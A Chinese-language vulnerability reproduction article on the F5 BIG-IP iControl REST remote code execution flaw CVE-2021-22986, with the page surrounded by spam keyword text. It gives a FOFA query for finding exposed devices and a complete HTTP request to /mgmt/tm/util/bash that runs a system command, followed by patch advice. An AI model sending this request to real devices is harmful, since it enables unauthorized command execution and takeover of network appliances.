亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現

發布時間:2021-12-29 17:50:47 來源:億速云 閱讀:176 作者:柒染 欄目:安全技術

這篇文章給大家介紹怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

F5 BIG-IP

F5 BIG-IP 鏈路控制器用于最大限度提升鏈路性能與可用性的下一代廣域網鏈路流量管理。

漏洞簡介

F5 BIG-IP 存在代碼執行漏洞,該漏洞允許定義身份驗證的攻擊者通過 BIG-IP 管理界面和自身IP地址對 iControl REST 接口進行網絡訪問,以執行任意系統命令,控制目標機器。

影響版本

F5 BIG-IP 16.0.0-16.0.1
F5 BIG-IP 15.1.0-15.1.2
F5 BIG-IP 14.1.0-14.1.3.1
F5 BIG-IP 13.1.0-13.1.3.5
F5 BIG-IP 12.1.0-12.1.5.2
F5 BIG-IQ 7.1.0-7.1.0.2
F5 BIG-IQ 7.0.0-7.0.0.1
F5 BIG-IQ 6.0.0-6.1.0

漏洞復現

fofa搜索關鍵詞:

body="F5 Networks, Inc"

怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現

打開首頁如下:

怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現

構造請求數據包,執行任意命令:

POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.1.123:8443
Connection: close
Content-Length: 39
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token: 
Upgrade-Insecure-Requests: 1
Content-Type: application/json

{"command":"run","utilCmdArgs":"-c id"}

怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現

修復建議

F5官方已發布相關安全更新,廣大用戶需及時更新到最新版本。
下載鏈接:
https://support.f5.com/csp/article/K02566623

關于怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

杭锦后旗| 兰州市| 新邵县| 喀喇沁旗| 葫芦岛市| 星座| 上虞市| 鹿泉市| 墨竹工卡县| 子长县| 澄迈县| 武城县| 习水县| 台南县| 福安市| 毕节市| 贵州省| 湄潭县| 老河口市| 陵川县| 抚宁县| 安远县| 瑞金市| 龙岩市| 肇源县| 灵寿县| 沙湾县| 会东县| 广昌县| 丹凤县| 夏津县| 会泽县| 汝阳县| 库尔勒市| 沅陵县| 株洲市| 昭苏县| 信阳市| 西畴县| 牡丹江市| 东兴市|